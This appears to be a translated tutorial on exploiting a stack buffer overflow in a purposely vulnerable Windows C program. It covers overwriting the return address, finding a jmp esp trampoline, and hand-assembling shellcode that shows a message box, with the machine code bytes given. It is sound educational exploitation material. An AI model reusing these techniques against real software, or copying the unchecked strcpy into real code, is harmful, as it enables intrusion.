Binary Vulnerabilities: From a Simple Stack Overflow to Writing Your Own Shellcode
This article documents the principles and implementation of buffer overflows, then explores low-level shellcode development using a vulnerable C program.
Read in Chinese→0x00 Introduction
This article primarily documents the principles and implementation of buffer overflows, as well as shellcode development.
The goal is to understand the principles in detail and write shellcode from the ground up.
The C code used in this experiment:
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");//prepare for messagebox
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
0x01 Principles
-
First, you should understand function calls, which were introduced in the previous article on assembly language fundamentals.
-
The vulnerability exists in the
strcpy\(buffer,password\);function. It does not check the size of the string when copying, resulting in an out-of-bounds write that exceeds the expected range and causes memory on the stack to overflow and become corrupted. -
As shown below, we begin overflowing data from
buffer, overwrite the previous stack frame’s EBP, and replace the return address withjmp esp. Execution then continues with the next instruction and begins running the malicious shellcode we want to execute.

0x02 Locating the main Function First
There are roughly two methods:
Method 1: Search for strings in OllyDbg or rely on experience to identify the main function by its characteristics
For this challenge, the main function can be located by searching for strings.
Right-click and search for all referenced strings.

Then locate a string used by the main function and click it to jump directly to the main function.

Method 2: Use IDA for analysis
Use IDA to locate the function. After loading the program, IDA automatically identifies the main function.
Double-click main to enter it, press the spacebar, and locate the main function. You can then find the corresponding location in OllyDbg.

0x03 Running the Program Normally
Run the program normally, locate the verfiy function, and begin debugging it.
The buffer is 44 bytes long.
First, enter 12341234123412341234123412341234123412341234, which consists of eleven repetitions of 1234.
Fill the buffer completely and inspect the stack layout.
First, determine the size and location of the area we need to overflow.

0x04 Simple Crack
Based on the analysis above, we only need to overwrite the return address with the address we want.
Returning to the main function, we can see that the success address is 0x00401133.
We therefore construct input that overwrites the return address with this address. Note that the address bytes must be written in reverse order because of the byte order.

Run it, and the check is successfully bypassed.

0x04 Writing Shellcode
Using jmp esp as a Trampoline to Locate the Shellcode
Using jmp esp as a “trampoline” is the simplest and most commonly used method for locating shellcode.
During an actual exploit, you should carefully observe the values of all registers when the vulnerable function returns.
The ESP register often points near the top of the stack. Using jmp esp ensures that the next instruction is executed at the location pointed to by ESP, helping the shellcode execute reliably.

Obtaining the Address of jmp esp
This shellcode uses the simple jmp esp method to redirect execution.
Use the following function:
// searchjmpesp.cpp : Defines the entry point for the console application.
//
#include"stdafx.h"
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf("load dll error");
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
getchar();
return 0;
}
Result:

Obtaining the MessageBoxA Function
Use the following program to obtain the call address of MessageBoxA:
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("user32");
printf("user32=0x%x\n",LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
printf("messagesbox=0x%x\n",ProcAdd);
getchar();
return 0;
}

Locate ExitProcess in the Same Way

All Obtained API Function Addresses:
jmp esp = 0x77e35b79
user32=0x77d10000
messasbox=0x77d507ea
ExitProcess=0x7c81cb12
Writing the Assembly Code
C’s \_ASM\{\} syntax can be used to write assembly code directly.
The following is the assembly code for displaying a message box:
#include"stdafx.h"
#include <windows.h>
int main()
{
_asm{
sub sp,0x440
xor ebx,ebx
push ebx // cut string
push 0x6F657A20 //zeo的ascll码
push 0x6D612069
mov eax,esp //load address of failwest
push ebx
push eax
push eax
push ebx
mov eax,0x77D507EA // 系统获取的messageboxa的地址
call eax //call MessageboxA
push ebx
mov eax,0x7C81CB12 //系统获取的exitprocess的地址
call eax //call exit(0)
}
return 0;
}
Use VC6’s disassembly feature to obtain the machine code.

The converted machine code and its explanation:
33 DB xor ebx,ebx
53 push ebx
68 20 7A 65 6F push 6F657A20h
68 69 20 61 6D push 6D612069h
8B C4 mov eax,esp
53 push ebx MessageBoxA函数额 4 个参数按照从右向左的顺序入
50 push eax
50 push eax
53 push ebx
B8 EA 07 D5 77 mov eax,77D507EAh 调用 MessageBoxA,不同的机器这里的函数入口地址可能不同,按实际值填入
FF D0 call eax
53 push ebx
B8 12 CB 81 7C mov eax,7C81CB12h 调用 exit(0)。
FF D0 call eax
Writing the Complete Payload to a File

Run It—Success!

0x05 Shellcode Pitfalls
-
After overflowing the entire address area, ESP must also be overwritten. ESP can be filled with any value.
-
This experiment uses
jmp esp = 0x77e35b79. After locating it, remember that shellcode must account for little-endian byte order.
Therefore, it must be entered in reverse order.
Therefore, it must be entered in reverse order.
Therefore, it must be entered in reverse order.
The original address is 0x77e35b79, so it must be written as 79 5b e3 77, for example:

- Although the address of the
jmp espinstruction must account for little-endian byte order, the converted shellcode that follows does not need to be reversed. It has already been converted, so doing it again would be unnecessary.
